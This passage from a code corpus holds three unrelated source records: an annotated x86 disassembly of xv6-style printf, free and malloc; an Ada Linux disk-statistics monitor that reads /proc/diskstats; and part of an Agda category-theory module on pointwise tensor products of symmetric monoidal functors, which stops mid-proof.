59b: 89 75 d4 mov %esi,-0x2c(%ebp)
59e: b8 28 00 00 00 mov $0x28,%eax
5a3: 89 de mov %ebx,%esi
5a5: 8b 5d 08 mov 0x8(%ebp),%ebx
5a8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5af: 90 nop
write(fd, &c, 1);
5b0: 83 ec 04 sub $0x4,%esp
s++;
5b3: 83 c6 01 add $0x1,%esi
5b6: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
5b9: 6a 01 push $0x1
5bb: 57 push %edi
5bc: 53 push %ebx
5bd: e8 e1 fc ff ff call 2a3 <write>
while(*s != 0){
5c2: 0f b6 06 movzbl (%esi),%eax
5c5: 83 c4 10 add $0x10,%esp
5c8: 84 c0 test %al,%al
5ca: 75 e4 jne 5b0 <printf+0x1a0>
5cc: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
5cf: 31 d2 xor %edx,%edx
5d1: e9 8e fe ff ff jmp 464 <printf+0x54>
5d6: 66 90 xchg %ax,%ax
5d8: 66 90 xchg %ax,%ax
5da: 66 90 xchg %ax,%ax
5dc: 66 90 xchg %ax,%ax
5de: 66 90 xchg %ax,%ax
000005e0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5e0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5e1: a1 28 0a 00 00 mov 0xa28,%eax
{
5e6: 89 e5 mov %esp,%ebp
5e8: 57 push %edi
5e9: 56 push %esi
5ea: 53 push %ebx
5eb: 8b 5d 08 mov 0x8(%ebp),%ebx
5ee: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
5f0: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5f3: 39 c8 cmp %ecx,%eax
5f5: 73 19 jae 610 <free+0x30>
5f7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5fe: 66 90 xchg %ax,%ax
600: 39 d1 cmp %edx,%ecx
602: 72 14 jb 618 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
604: 39 d0 cmp %edx,%eax
606: 73 10 jae 618 <free+0x38>
{
608: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
60a: 8b 10 mov (%eax),%edx
60c: 39 c8 cmp %ecx,%eax
60e: 72 f0 jb 600 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
610: 39 d0 cmp %edx,%eax
612: 72 f4 jb 608 <free+0x28>
614: 39 d1 cmp %edx,%ecx
616: 73 f0 jae 608 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
618: 8b 73 fc mov -0x4(%ebx),%esi
61b: 8d 3c f1 lea (%ecx,%esi,8),%edi
61e: 39 fa cmp %edi,%edx
620: 74 1e je 640 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
622: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
625: 8b 50 04 mov 0x4(%eax),%edx
628: 8d 34 d0 lea (%eax,%edx,8),%esi
62b: 39 f1 cmp %esi,%ecx
62d: 74 28 je 657 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
62f: 89 08 mov %ecx,(%eax)
freep = p;
}
631: 5b pop %ebx
freep = p;
632: a3 28 0a 00 00 mov %eax,0xa28
}
637: 5e pop %esi
638: 5f pop %edi
639: 5d pop %ebp
63a: c3 ret
63b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
63f: 90 nop
bp->s.size += p->s.ptr->s.size;
640: 03 72 04 add 0x4(%edx),%esi
643: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
646: 8b 10 mov (%eax),%edx
648: 8b 12 mov (%edx),%edx
64a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
64d: 8b 50 04 mov 0x4(%eax),%edx
650: 8d 34 d0 lea (%eax,%edx,8),%esi
653: 39 f1 cmp %esi,%ecx
655: 75 d8 jne 62f <free+0x4f>
p->s.size += bp->s.size;
657: 03 53 fc add -0x4(%ebx),%edx
freep = p;
65a: a3 28 0a 00 00 mov %eax,0xa28
p->s.size += bp->s.size;
65f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
662: 8b 53 f8 mov -0x8(%ebx),%edx
665: 89 10 mov %edx,(%eax)
}
667: 5b pop %ebx
668: 5e pop %esi
669: 5f pop %edi
66a: 5d pop %ebp
66b: c3 ret
66c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000670 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
670: 55 push %ebp
671: 89 e5 mov %esp,%ebp
673: 57 push %edi
674: 56 push %esi
675: 53 push %ebx
676: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
679: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
67c: 8b 3d 28 0a 00 00 mov 0xa28,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
682: 8d 70 07 lea 0x7(%eax),%esi
685: c1 ee 03 shr $0x3,%esi
688: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
68b: 85 ff test %edi,%edi
68d: 0f 84 ad 00 00 00 je 740 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
693: 8b 07 mov (%edi),%eax
if(p->s.size >= nunits){
695: 8b 48 04 mov 0x4(%eax),%ecx
698: 39 f1 cmp %esi,%ecx
69a: 73 71 jae 70d <malloc+0x9d>
69c: 81 fe 00 10 00 00 cmp $0x1000,%esi
6a2: bb 00 10 00 00 mov $0x1000,%ebx
6a7: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
6aa: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx
6b1: 89 4d e4 mov %ecx,-0x1c(%ebp)
6b4: eb 1b jmp 6d1 <malloc+0x61>
6b6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
6bd: 8d 76 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6c0: 8b 10 mov (%eax),%edx
if(p->s.size >= nunits){
6c2: 8b 4a 04 mov 0x4(%edx),%ecx
6c5: 39 f1 cmp %esi,%ecx
6c7: 73 4f jae 718 <malloc+0xa8>
6c9: 8b 3d 28 0a 00 00 mov 0xa28,%edi
6cf: 89 d0 mov %edx,%eax
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6d1: 39 c7 cmp %eax,%edi
6d3: 75 eb jne 6c0 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
6d5: 83 ec 0c sub $0xc,%esp
6d8: ff 75 e4 pushl -0x1c(%ebp)
6db: e8 2b fc ff ff call 30b <sbrk>
if(p == (char*)-1)
6e0: 83 c4 10 add $0x10,%esp
6e3: 83 f8 ff cmp $0xffffffff,%eax
6e6: 74 1b je 703 <malloc+0x93>
hp->s.size = nu;
6e8: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6eb: 83 ec 0c sub $0xc,%esp
6ee: 83 c0 08 add $0x8,%eax
6f1: 50 push %eax
6f2: e8 e9 fe ff ff call 5e0 <free>
return freep;
6f7: a1 28 0a 00 00 mov 0xa28,%eax
if((p = morecore(nunits)) == 0)
6fc: 83 c4 10 add $0x10,%esp
6ff: 85 c0 test %eax,%eax
701: 75 bd jne 6c0 <malloc+0x50>
return 0;
}
}
703: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
706: 31 c0 xor %eax,%eax
}
708: 5b pop %ebx
709: 5e pop %esi
70a: 5f pop %edi
70b: 5d pop %ebp
70c: c3 ret
if(p->s.size >= nunits){
70d: 89 c2 mov %eax,%edx
70f: 89 f8 mov %edi,%eax
711: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
718: 39 ce cmp %ecx,%esi
71a: 74 54 je 770 <malloc+0x100>
p->s.size -= nunits;
71c: 29 f1 sub %esi,%ecx
71e: 89 4a 04 mov %ecx,0x4(%edx)
p += p->s.size;
721: 8d 14 ca lea (%edx,%ecx,8),%edx
p->s.size = nunits;
724: 89 72 04 mov %esi,0x4(%edx)
freep = prevp;
727: a3 28 0a 00 00 mov %eax,0xa28
}
72c: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
72f: 8d 42 08 lea 0x8(%edx),%eax
}
732: 5b pop %ebx
733: 5e pop %esi
734: 5f pop %edi
735: 5d pop %ebp
736: c3 ret
737: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
73e: 66 90 xchg %ax,%ax
base.s.ptr = freep = prevp = &base;
740: c7 05 28 0a 00 00 2c movl $0xa2c,0xa28
747: 0a 00 00
base.s.size = 0;
74a: bf 2c 0a 00 00 mov $0xa2c,%edi
base.s.ptr = freep = prevp = &base;
74f: c7 05 2c 0a 00 00 2c movl $0xa2c,0xa2c
756: 0a 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
759: 89 f8 mov %edi,%eax
base.s.size = 0;
75b: c7 05 30 0a 00 00 00 movl $0x0,0xa30
762: 00 00 00
if(p->s.size >= nunits){
765: e9 32 ff ff ff jmp 69c <malloc+0x2c>
76a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
770: 8b 0a mov (%edx),%ecx
772: 89 08 mov %ecx,(%eax)
774: eb b1 jmp 727 <malloc+0xb7>
|
src/linux/helios-monitor-disks.adb | stcarrez/helios | 1 | 5677 | <gh_stars>1-10
-----------------------------------------------------------------------
-- helios-monitor-disks -- Linux disks monitor
-- Copyright (C) 2017 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Strings.Transforms;
with Helios.Tools.Files;
package body Helios.Monitor.Disks is
use Util.Strings.Transforms;
-- ------------------------------
-- Start the agent and build the definition tree.
-- ------------------------------
overriding
procedure Start (Agent : in out Agent_Type;
Config : in Util.Properties.Manager) is
Values : constant String := Config.Get ("values", "*");
Disks : constant String := Config.Get ("partitions", "*");
Line : Helios.Tools.Files.File_Extractor;
begin
Line.Open ("/proc/diskstats");
Line.Name_Pos := 3;
loop
Line.Read;
exit when Line.Is_Eof;
Make_Disk (Agent, Line.Get_Value (3), Disks, Values);
end loop;
end Start;
-- ------------------------------
-- Collect the values in the snapshot.
-- ------------------------------
overriding
procedure Collect (Agent : in out Agent_Type;
Values : in out Datas.Snapshot_Type) is
use type Schemas.Definition_Type_Access;
Line : Helios.Tools.Files.File_Extractor;
Node : Schemas.Definition_Type_Access;
Disk : Disk_Definition_Type_Access;
begin
Line.Open ("/proc/diskstats");
Line.Name_Pos := 3;
loop
Line.Read;
exit when Line.Is_Eof;
Node := Agent.Find_Definition (Line.Get_Value (3));
if Node /= null then
Disk := Disk_Definition_Type'Class (Node.all)'Access;
for I in Disk.Stats'Range loop
Values.Set_Value (Disk.Stats (I), Line.Get_Value (4 + Stat_Type'Pos (I)));
end loop;
end if;
end loop;
end Collect;
-- ------------------------------
-- Make a new disk definition for the given disk name.
-- ------------------------------
procedure Make_Disk (Agent : in out Agent_Type;
Name : in String;
Disks : in String;
Filter : in String) is
Disk : Disk_Definition_Type_Access;
begin
if not Helios.Schemas.Is_Filter_Enable (Name, Disks) then
return;
end if;
Disk := new Disk_Definition_Type (Len => Name'Length);
Disk.Name := Name;
Agent.Add_Definition (Disk.all'Access);
for I in Disk.Stats'Range loop
Disk.Stats (I) := Schemas.Create_Definition (Disk.all'Access,
To_Lower_Case (Stat_Type'Image (I)),
Filter);
end loop;
end Make_Disk;
end Helios.Monitor.Disks;
|
src/Categories/Functor/Monoidal/PointwiseTensor.agda | Trebor-Huang/agda-categories | 279 | 577 | <gh_stars>100-1000
{-# OPTIONS --without-K --safe #-}
open import Categories.Category.Monoidal using (SymmetricMonoidalCategory)
-- The monoidal structure of a monoidal catgeory D
-- lifted pointwise to monoidal functors F : C → D.
module Categories.Functor.Monoidal.PointwiseTensor {o o′ ℓ ℓ′ e e′}
{C : SymmetricMonoidalCategory o ℓ e}
{D : SymmetricMonoidalCategory o′ ℓ′ e′} where
open import Level using (_⊔_)
open import Data.Product using (_,_)
private
module C = SymmetricMonoidalCategory C
module D = SymmetricMonoidalCategory D
open import Categories.Category using (module Commutation)
open import Categories.Category.Product using (_⁂_)
import Categories.Category.Construction.Core as Core
import Categories.Functor as Func
open import Categories.Category.Monoidal.Properties using (module Kelly's)
open import Categories.Category.Monoidal.Braided.Properties D.braided
as BraidedProps using (braiding-coherence)
open import Categories.Category.Monoidal.Reasoning D.monoidal
open import Categories.Category.Monoidal.Utilities D.monoidal
open import Categories.Functor.Construction.Constant using (const)
open import Categories.Functor.Monoidal.Tensor using
(module LaxSymmetric; module StrongSymmetric)
import Categories.Functor.Monoidal.Symmetric as SF
open import Categories.Morphism.Reasoning D.U
open import Categories.NaturalTransformation
using (NaturalTransformation; ntHelper)
open import Categories.NaturalTransformation.NaturalIsomorphism using (niHelper)
import Categories.NaturalTransformation.Monoidal.Symmetric as SMNT
import Categories.NaturalTransformation.NaturalIsomorphism as NI
import Categories.NaturalTransformation.NaturalIsomorphism.Monoidal.Symmetric as SMNI
open D hiding (U) renaming (unitorˡ to λᵢ; unitorʳ to ρᵢ; associator to αᵢ)
open Commutation D.U
open Core.Shorthands D.U
open Kelly's D.monoidal
open Shorthands -- for λ⇒, ρ⇒, α⇒, ...
open BraidedProps.Shorthands -- for σ⇒, ...
module Underlying where
open Func hiding (id)
open NI
private
infix 4 _⇛_
_⇛_ = NaturalTransformation
infixr 10 _⊗̇₀_ _⊗̇₁_
-- The pointwise tensor product of two functors.
--
-- NOTE: the definition of _⊗̇₀_ is a manual expansion of the functor
-- composition
--
-- F ⊗̇₀ G = ⊗ ∘ (F × G) ∘ Δ
--
-- where Δ : D → D × D is the diagonal functor.
_⊗̇₀_ : (F G : Functor C.U D.U) → Functor C.U D.U
F ⊗̇₀ G = record
{ F₀ = λ X → F.₀ X ⊗₀ G.₀ X
; F₁ = λ f → F.₁ f ⊗₁ G.₁ f
; identity = (F.identity ⟩⊗⟨ G.identity) ○ ⊗.identity
; homomorphism = (F.homomorphism ⟩⊗⟨ G.homomorphism) ○ ⊗.homomorphism
; F-resp-≈ = λ eq → F.F-resp-≈ eq ⟩⊗⟨ G.F-resp-≈ eq
}
where
module F = Functor F
module G = Functor G
_⊗̇₁_ : {F₁ F₂ G₁ G₂ : Functor C.U D.U} →
F₁ ⇛ F₂ → G₁ ⇛ G₂ → F₁ ⊗̇₀ G₁ ⇛ F₂ ⊗̇₀ G₂
_⊗̇₁_ {F₁} {F₂} {G₁} {G₂} β γ = ntHelper (record
{ η = λ X → β.η X ⊗₁ γ.η X
; commute = λ {X Y} f → begin
β.η Y ⊗₁ γ.η Y ∘ F₁.₁ f ⊗₁ G₁.₁ f ≈˘⟨ ⊗.homomorphism ⟩
(β.η Y ∘ F₁.₁ f) ⊗₁ (γ.η Y ∘ G₁.₁ f) ≈⟨ β.commute f ⟩⊗⟨ γ.commute f ⟩
(F₂.₁ f ∘ β.η X) ⊗₁ (G₂.₁ f ∘ γ.η X) ≈⟨ ⊗.homomorphism ⟩
F₂.₁ f ⊗₁ G₂.₁ f ∘ β.η X ⊗₁ γ.η X ∎
})
where
module F₁ = Functor F₁
module F₂ = Functor F₂
module G₁ = Functor G₁
module G₂ = Functor G₂
module β = NaturalTransformation β
module γ = NaturalTransformation γ
-- The constant functor to the unit in D.
unitF : Functor C.U D.U
unitF = const D.unit
module unitF = Functor unitF
unitF-⊗-homo : D.⊗ ∘F (unitF ⁂ unitF) ≃ unitF ∘F C.⊗
unitF-⊗-homo = niHelper (record
{ η = λ _ → λ⇒
; η⁻¹ = λ _ → λ⇐
; commute = λ _ → begin
λ⇒ ∘ id ⊗₁ id ≈⟨ refl⟩∘⟨ ⊗.identity ⟩
λ⇒ ∘ id ≈⟨ id-comm ⟩
id ∘ λ⇒ ∎
; iso = λ _ → λᵢ.iso
})
module unitF-⊗-homo = NaturalIsomorphism unitF-⊗-homo
-- The pointwise tensor product and the unit functor induce a
-- symmetric monoidal structure on symmetric monoidal functors.
⊗̇-unitorˡ : {F : Functor C.U D.U} → unitF ⊗̇₀ F ≃ F
⊗̇-unitorˡ {F} = niHelper (record
{ η = λ _ → λ⇒
; η⁻¹ = λ _ → λ⇐
; commute = λ _ → unitorˡ-commute-from
; iso = λ _ → λᵢ.iso
})
⊗̇-unitorʳ : {F : Functor C.U D.U} → F ⊗̇₀ unitF ≃ F
⊗̇-unitorʳ {F} = niHelper (record
{ η = λ _ → ρ⇒
; η⁻¹ = λ _ → ρ⇐
; commute = λ _ → unitorʳ-commute-from
; iso = λ _ → ρᵢ.iso
})
⊗̇-associator : {F G H : Functor C.U D.U} → (F ⊗̇₀ G) ⊗̇₀ H ≃ F ⊗̇₀ (G ⊗̇₀ H)
⊗̇-associator {F} {G} {H} = niHelper (record
{ η = λ _ → α⇒
; η⁻¹ = λ _ → α⇐
; commute = λ _ → assoc-commute-from
; iso = λ _ → αᵢ.iso
})
⊗̇-braiding : {F G : Functor C.U D.U} → F ⊗̇₀ G ≃ G ⊗̇₀ F
⊗̇-braiding {F} {G} = niHelper (record
{ η = λ X → braiding.⇒.η (F.₀ X , G.₀ X)
; η⁻¹ = λ X → braiding.⇐.η (F.₀ X , G.₀ X)
; commute = λ f → braiding.⇒.commute (F.₁ f , G.₁ f)
; iso = λ X → braiding.iso (F.₀ X , G.₀ X)
})
where
module F = Functor F
module G = Functor G
-- Shorthands for the interchange map that makes ⊗ a strong symmetric
-- monoidal functor.
open StrongSymmetric D.symmetric using ()renaming
( ⊗-SymmetricMonoidalFunctor to ⊗ˢ
; ⊗-homo-iso to i-iso′
; ⊗-homo-selfInverse to i-selfInverse
)
private
module ⊗ˢ = SF.Strong.SymmetricMonoidalFunctor ⊗ˢ
module interchange = ⊗ˢ.⊗-homo
i = interchange.FX≅GX
i⇒ = λ {W X Y Z} → interchange.⇒.η ((W , X) , (Y , Z))
i⇐ = λ {W X Y Z} → interchange.⇐.η ((W , X) , (Y , Z))
module Lax where
open SF.Lax
open SMNT.Lax using (SymmetricMonoidalNaturalTransformation)
open SMNI.Lax using (SymmetricMonoidalNaturalIsomorphism; _≃_)
private
infix 4 _⇛_
_⇛_ = SymmetricMonoidalNaturalTransformation
infixr 10 _⊗̇₀_ _⊗̇₁_
-- The pointwise tensor product of lax symmetric monoidal functors.
--
-- NOTE: the definition of _⊗̇₀_ is a manual expansion of the
-- (lax monoidal) functor composition
--
-- F ⊗̇₀ G = ⊗ ∘ (F × G) ∘ Δ
--
-- with Δ : D → D × D the diagonal functor. We could define _⊗̇₀_ in
-- this way but that would clutter the definition of ε and ⊗-homo
-- with extra identities that then need to be dealt with elsewhere
-- (e.g. in the definition of _⊗̇₁_ below. In principle, _⊗̇₁_ should
-- be similarly definable as a composition of (monoidal) natural
-- transformations, but the Agda type checker seems to choke on
-- definitions involving compositions of natural transformations.
_⊗̇₀_ : (F G : SymmetricMonoidalFunctor C D) → SymmetricMonoidalFunctor C D
F ⊗̇₀ G = record
{ F = F.F Underlying.⊗̇₀ G.F
; isBraidedMonoidal = record
{ isMonoidal = record
{ ε = F.ε ⊗₁ G.ε ∘ λ⇐
; ⊗-homo = ntHelper (record
{ η = λ _ → Fh ⊗₁ Gh ∘ i⇒
; commute = λ{ (f , g) → commute f g }
})
; associativity = associativity
; unitaryˡ = unitaryˡ
; unitaryʳ = unitaryʳ
}
; braiding-compat = braiding-compat
}
}
where
module F = SymmetricMonoidalFunctor F
module G = SymmetricMonoidalFunctor G
Fh = λ {X Y} → F.⊗-homo.η (X , Y)
Gh = λ {X Y} → G.⊗-homo.η (X , Y)
Cλ⇒ = λ {X} → C.braided.unitorˡ.from {X}
Cρ⇒ = λ {X} → C.braided.unitorʳ.from {X}
Cα⇒ = λ {X Y Z} → C.braided.associator.from {X} {Y} {Z}
Cσ⇒ = λ {X Y} → C.braided.braiding.⇒.η (X , Y)
commute : ∀ {W X Y Z} (f : W C.⇒ X) (g : Y C.⇒ Z) →
(Fh ⊗₁ Gh ∘ i⇒) ∘ (F.₁ f ⊗₁ G.₁ f) ⊗₁ (F.₁ g ⊗₁ G.₁ g)
≈ F.₁ (f C.⊗₁ g) ⊗₁ G.₁ (f C.⊗₁ g) ∘ (Fh ⊗₁ Gh) ∘ i⇒
commute f g = begin
(Fh ⊗₁ Gh ∘ i⇒) ∘ (F.₁ f ⊗₁ G.₁ f) ⊗₁ (F.₁ g ⊗₁ G.₁ g)
≈⟨ pullʳ (interchange.⇒.commute ((F.₁ f , G.₁ f) , (F.₁ g , G.₁ g))) ⟩
Fh ⊗₁ Gh ∘ (F.₁ f ⊗₁ F.₁ g) ⊗₁ (G.₁ f ⊗₁ G.₁ g) ∘ i⇒
≈˘⟨ pushˡ ⊗.homomorphism ⟩
(Fh ∘ F.₁ f ⊗₁ F.₁ g) ⊗₁ (Gh ∘ G.₁ f ⊗₁ G.₁ g) ∘ i⇒
≈⟨ F.⊗-homo.commute (f , g) ⟩⊗⟨ G.⊗-homo.commute (f , g) ⟩∘⟨refl ⟩
(F.₁ (f C.⊗₁ g) ∘ Fh) ⊗₁ (G.₁ (f C.⊗₁ g) ∘ Gh) ∘ i⇒
≈⟨ pushˡ ⊗.homomorphism ⟩
F.₁ (f C.⊗₁ g) ⊗₁ G.₁ (f C.⊗₁ g) ∘ (Fh ⊗₁ Gh) ∘ i⇒
∎
associativity : ∀ {X Y Z} →
[ ((F.₀ X ⊗₀ G.₀ X) ⊗₀ (F.₀ Y ⊗₀ G.₀ Y)) ⊗₀ (F.₀ Z ⊗₀ G.₀ Z)
⇒ F.₀ (X C.⊗₀ (Y C.⊗₀ Z)) ⊗₀ G.₀ (X C.⊗₀ (Y C.⊗₀ Z)) ]⟨
F.₁ Cα⇒ ⊗₁ G.₁ Cα⇒ ∘
(Fh ⊗₁ Gh ∘ i⇒) ∘ (Fh ⊗₁ Gh ∘ i⇒) ⊗₁ id
≈ (Fh ⊗₁ Gh ∘ i⇒) ∘ id ⊗₁ (Fh ⊗₁ Gh ∘ i⇒) ∘ α⇒
⟩
associativity = begin
F.₁ Cα⇒ ⊗₁ G.₁ Cα⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ (Fh ⊗₁ Gh ∘ i⇒) ⊗₁ id
≈⟨ refl⟩∘⟨ pullʳ (refl⟩∘⟨ split₁ˡ) ⟩
F.₁ Cα⇒ ⊗₁ G.₁ Cα⇒ ∘ Fh ⊗₁ Gh ∘ i⇒ ∘ (Fh ⊗₁ Gh) ⊗₁ id ∘ i⇒ ⊗₁ id
≈˘⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩⊗⟨ ⊗.identity ⟩∘⟨refl ⟩
F.₁ Cα⇒ ⊗₁ G.₁ Cα⇒ ∘ Fh ⊗₁ Gh ∘
i⇒ ∘ (Fh ⊗₁ Gh) ⊗₁ (id ⊗₁ id) ∘ i⇒ ⊗₁ id
≈⟨ refl⟩∘⟨ refl⟩∘⟨ extendʳ (interchange.⇒.commute ((Fh , Gh) , (id , id))) ⟩
F.₁ Cα⇒ ⊗₁ G.₁ Cα⇒ ∘ Fh ⊗₁ Gh ∘ (Fh ⊗₁ id) ⊗₁ (Gh ⊗₁ id) ∘ i⇒ ∘ i⇒ ⊗₁ id
≈˘⟨ refl⟩∘⟨ pushˡ ⊗.homomorphism ⟩
F.₁ Cα⇒ ⊗₁ G.₁ Cα⇒ ∘ (Fh ∘ Fh ⊗₁ id) ⊗₁ (Gh ∘ Gh ⊗₁ id) ∘ i⇒ ∘ i⇒ ⊗₁ id
≈⟨ extendʳ (parallel (F.associativity ○ sym-assoc) (G.associativity ○ sym-assoc)) ⟩
(Fh ∘ id ⊗₁ Fh) ⊗₁ (Gh ∘ id ⊗₁ Gh) ∘ α⇒ ⊗₁ α⇒ ∘ i⇒ ∘ i⇒ ⊗₁ id
≈⟨ ⊗.homomorphism ⟩∘⟨ ⊗ˢ.associativity ⟩
((Fh ⊗₁ Gh) ∘ (id ⊗₁ Fh) ⊗₁ (id ⊗₁ Gh)) ∘ i⇒ ∘ id ⊗₁ i⇒ ∘ α⇒
≈˘⟨ pushʳ (extendʳ (interchange.⇒.commute ((id , id) , (Fh , Gh)))) ⟩
(Fh ⊗₁ Gh) ∘ i⇒ ∘ (id ⊗₁ id) ⊗₁ (Fh ⊗₁ Gh) ∘ id ⊗₁ i⇒ ∘ α⇒
≈⟨ refl⟩∘⟨ refl⟩∘⟨ ⊗.identity ⟩⊗⟨refl ⟩∘⟨refl ⟩
(Fh ⊗₁ Gh) ∘ i⇒ ∘ id ⊗₁ (Fh ⊗₁ Gh) ∘ id ⊗₁ i⇒ ∘ α⇒
≈˘⟨ pullʳ (refl⟩∘⟨ pushˡ split₂ˡ) ⟩
(Fh ⊗₁ Gh ∘ i⇒) ∘ id ⊗₁ (Fh ⊗₁ Gh ∘ i⇒) ∘ α⇒
∎
unitaryˡ : ∀ {X} → [ unit ⊗₀ (F.₀ X ⊗₀ G.₀ X) ⇒ F.₀ X ⊗₀ G.₀ X ]⟨
F.₁ Cλ⇒ ⊗₁ G.₁ Cλ⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ (F.ε ⊗₁ G.ε ∘ λ⇐) ⊗₁ id
≈ λ⇒
⟩
unitaryˡ = begin
F.₁ Cλ⇒ ⊗₁ G.₁ Cλ⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ (F.ε ⊗₁ G.ε ∘ λ⇐) ⊗₁ id
≈⟨ refl⟩∘⟨ refl⟩∘⟨ split₁ˡ ⟩
F.₁ Cλ⇒ ⊗₁ G.₁ Cλ⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ (F.ε ⊗₁ G.ε) ⊗₁ id ∘ λ⇐ ⊗₁ id
≈˘⟨ refl⟩∘⟨ refl⟩∘⟨ refl⟩⊗⟨ ⊗.identity ⟩∘⟨refl ⟩
F.₁ Cλ⇒ ⊗₁ G.₁ Cλ⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ (F.ε ⊗₁ G.ε) ⊗₁ (id ⊗₁ id) ∘ λ⇐ ⊗₁ id
≈⟨ refl⟩∘⟨ pullʳ (extendʳ (interchange.⇒.commute ((F.ε , G.ε) , (id , id)))) ⟩
F.₁ Cλ⇒ ⊗₁ G.₁ Cλ⇒ ∘ Fh ⊗₁ Gh ∘ (F.ε ⊗₁ id) ⊗₁ (G.ε ⊗₁ id) ∘ i⇒ ∘ λ⇐ ⊗₁ id
≈˘⟨ refl⟩∘⟨ pushˡ ⊗.homomorphism ⟩
F.₁ Cλ⇒ ⊗₁ G.₁ Cλ⇒ ∘ (Fh ∘ F.ε ⊗₁ id) ⊗₁ (Gh ∘ G.ε ⊗₁ id) ∘ i⇒ ∘ λ⇐ ⊗₁ id
≈˘⟨ pushˡ ⊗.homomorphism ⟩
(F.₁ Cλ⇒ ∘ Fh ∘ F.ε ⊗₁ id) ⊗₁ (G.₁ Cλ⇒ ∘ Gh ∘ G.ε ⊗₁ id) ∘ i⇒ ∘ λ⇐ ⊗₁ id
≈⟨ F.unitaryˡ ⟩⊗⟨ G.unitaryˡ ⟩∘⟨refl ⟩
λ⇒ ⊗₁ λ⇒ ∘ i⇒ ∘ λ⇐ ⊗₁ id
≈⟨ ⊗ˢ.unitaryˡ ⟩
λ⇒
∎
unitaryʳ : ∀ {X} → [ (F.₀ X ⊗₀ G.₀ X) ⊗₀ unit ⇒ F.₀ X ⊗₀ G.₀ X ]⟨
F.₁ Cρ⇒ ⊗₁ G.₁ Cρ⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ id ⊗₁ (F.ε ⊗₁ G.ε ∘ λ⇐)
≈ ρ⇒
⟩
unitaryʳ = begin
F.₁ Cρ⇒ ⊗₁ G.₁ Cρ⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ id ⊗₁ (F.ε ⊗₁ G.ε ∘ λ⇐)
≈⟨ refl⟩∘⟨ refl⟩∘⟨ split₂ˡ ⟩
F.₁ Cρ⇒ ⊗₁ G.₁ Cρ⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ id ⊗₁ (F.ε ⊗₁ G.ε) ∘ id ⊗₁ λ⇐
≈˘⟨ refl⟩∘⟨ refl⟩∘⟨ ⊗.identity ⟩⊗⟨refl ⟩∘⟨refl ⟩
F.₁ Cρ⇒ ⊗₁ G.₁ Cρ⇒ ∘ (Fh ⊗₁ Gh ∘ i⇒) ∘ (id ⊗₁ id) ⊗₁ (F.ε ⊗₁ G.ε) ∘ id ⊗₁ λ⇐
